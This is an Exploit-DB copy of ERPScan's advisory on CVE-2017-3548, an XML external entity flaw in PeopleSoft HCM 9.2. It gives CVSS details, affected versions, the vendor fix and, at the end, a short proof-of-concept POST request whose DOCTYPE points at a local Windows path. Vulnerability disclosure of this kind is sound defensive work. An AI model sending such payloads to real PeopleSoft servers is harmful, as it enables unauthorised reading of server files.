'PeopleSoftServiceListeningConnector' XML External Entity via DOCTYPE

EDB-ID: 41925
Author: ERPScan
Published: 2017-04-25
CVE: CVE-2017-3548
Type: Webapps
Platform: XML
Aliases: N/A
Advisory/Source: Link
Tags: XML External Entity (XXE)
Vulnerable App: N/A

 Versions Affected: PeopleSoft HCM 9.2 on PeopleTools 8.55 
Vendor URL: http://oracle.com
Bug: XXE
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 18.04.2017
Reference: Oracle CPU April 2017
Author: Nadya Krivdyuk (ERPScan)


Title:[ERPSCAN-17-020] XXE VIA DOCTYPE in PeopleSoft
Advisory ID: [ERPSCAN-17-020]
Risk: high
CVE: CVE-2017-3548
Advisory URL: https://erpscan.com/advisories/erpscan-17-020-xxe-via-doctype-peoplesoft/
Date published: 18.04.2017
Vendors contacted: Oracle


Class: XXE
Impact: File disclosure, network discovery
Remotely Exploitable: yes
Locally Exploitable: no

CVSS Information
CVSS Base Score v3: 8.0 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) High (H)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C : Impact to Confidentiality High (H)
I : Impact to Integrity High (H)
A : Impact to Availability High (H)


A malicious user can modify an XML-based request to include XML
content that is then parsed locally.


PeopleSoft HCM 9.2 on PeopleTools 8.55


To correct this vulnerability, implement Oracle CPU April 2017


Nadya Krivdyuk


An attacker can use an XML external entity vulnerability to send
specially crafted unauthorized XML requests, which will be processed
by the XML parser. The attacker can use an XML external entity
vulnerability for getting unauthorised access to the OS file system.


POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Content-type: text/xml
<!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows">

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